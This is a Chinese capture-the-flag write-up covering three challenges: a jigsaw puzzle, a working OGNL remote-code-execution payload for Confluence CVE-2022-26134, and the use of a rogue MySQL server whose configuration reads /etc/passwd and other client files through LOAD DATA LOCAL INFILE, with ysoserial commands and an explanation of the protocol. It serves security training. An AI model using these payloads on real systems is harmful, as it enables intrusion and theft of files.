🐏了拼🐏
解题思路:
方法一:直接拼图

方法二:
查看源代码,关键字查找

Be-a-Wiki-Hacker
这一题是Atlassian Confluence(CVE-2022-26134)OGNL远程代码执行
解题思路:

第一步,抓包修改OGNL表达式
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

第二步,读目录


第三步,cat /flag就可以拿到flag
参考文章:https://blog.youkuaiyun.com/weixin_46944519/article/details/125141253
Evil MySQL Server
解题思路:
题目:
Please do not connect to an evil mysql server.
P.S. flag path: /flag
根据题目先去搜索一下evil mysql,提到了一个rogue mysql server这个漏洞利用工具
第一步先去github搞一个rogue mysql server把他下载到云服务器
https://github.com/rmb122/rogue_mysql_server
rogue_mysql_server的使用
在当前目录下生成配置文件模版, 如果已有配置文件可以跳过这一步
./rogue_mysql_server -generate
运行服务器, 使用刚刚生成的 config.yaml
./rogue_mysql_server
或者手动指定配置路径
./rogue_mysql_server -config other_config.yaml
配置文件
host: 0.0.0.0
port: 3306
# 监听的 IP 和端口.
version_string: "10.4.13-MariaDB-log"
# 客户端得到的服务端版本信息.
file_list: ["/etc/passwd", "C:/boot.ini"]
save_path: ./loot
# 需要读取的文件, 注意这个不意味着一次性读取列表中的所有文件 (很多客户端实现不支持这种操作).
# 而是客户端每执行一次语句, 按照列表中的顺序读取一个文件, 并保存到 `save_path` 文件夹中.
always_read: true
# 如果为 true, 那么不管客户端是否标记自己支持 LOAD DATA LOCAL, 都会尝试去读取文件, 否则会根据客户端的标记来决定是否读取, 避免客户端请求不同步.
from_database_name: false
# 如果为 true, 将会从客户端设定中的数据库名称中提取要读取的文件.
# 例如链接串为 `jdbc:mysql://localhost:3306/%2fetc%2fhosts?allowLoadLocalInfile=true`.
# 将会从客户端读取 `/etc/hosts` 而不会遵循 `file_list` 中的设置.
max_file_size: 0
# 读取文件的最大大小 (单位 byte), 超过这个大小的文件内容将会被忽略. 如果 <= 0, 代表没有限制.
auth: false
users:
- root: root
- root: password
# 对应是否开启验证, 如果为 `false`, 那么不管输什么密码或者不输入密码都可以登录.
# 如果为 `true`, 则需要帐号密码匹配下面的设置的帐号密码中的一条.
jdbc_exploit: false
always_exploit: false
ysoserial_command:
cc4: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections4", 'touch /tmp/cc4']
cc7: ["java", "-jar", "ysoserial-0.0.6-SNAPSHOT-all.jar", "CommonsCollections7", 'touch /tmp/cc7']
# 见 `jdbc 利用相关` 一节
修改配置文件,题目给的hint已经告诉我们path是/flag


连接数据库打开文件loot就能看到flag

漏洞原理:
这题是恶意mysql服务器利用,问题出现在LOAD DATA INFILE 这个语法上,这个语法主要是用于读取一个文件的内容并且放到一个表中。
在mysql文档中的说到,服务端可以要求客户端读取有可读权限的任何文件。官方认为客户端不应该连接到不可信的服务端

https://dev.mysql.com/doc/refman/5.6/en/load-data-local-security.html
Mysql的交互流程:
使用 –enable-local-infile 选项
mysql -h[ip] -u[username] -p[password] -D [database] --enable-local-infile
从 mysql 客户端连接到我的服务器并运行
LOAD DATA LOCAL INFILE ‘D:/flag.txt’ INTO TABLE J1mmyFIELDS TERMINATED BY ‘\n’;
这个sql语句意思是读取客户端上xxxx文件,并写入到xx表中。
LOAD DATA LOCAL INFILE '文件路径' INTO TABLE 表名 FIELDS TERMINATED BY '\n';

J1mmy表的内容

1、greeting包,服务端返回了banner,其中包含mysql的版本

2、来自客户端的下一个数据包是带有用户名、密码、数据库的身份验证数据包。
身份认证通过后,客户端会在实际操作之前发送请求,等待服务器的响应。“Client Capabilities”报文中包括名为Can Use LOAD DATA LOCAL选项的标志位。一旦客户端启用了这个功能(--enable-local-infile),就可以读取客户端上的文件并传输到服务器上。

3.初始化的一些查询,比如select @@version_comment limit 1之类的;

4.现在我们可以看到来自客户端的数据包,我们使用 LOAD DATA LOCAL INFILE 'D:/flag.txt' INTO TABLE J1mmy FIELDS TERMINATED BY ‘\n’ 查询

然后服务器端返回了需要的路径

从流程可看出客户端读取文件的路径并不是从客户端指定的,而是发送到服务器端,服务端制定,然后客户端向服务器发送 D:/flag.txt文件的内容

如果我们在客户端发送查询之后,返回一个Response TABULAR 数据包,并附上我们指定的文件,就可以读取客户端文件
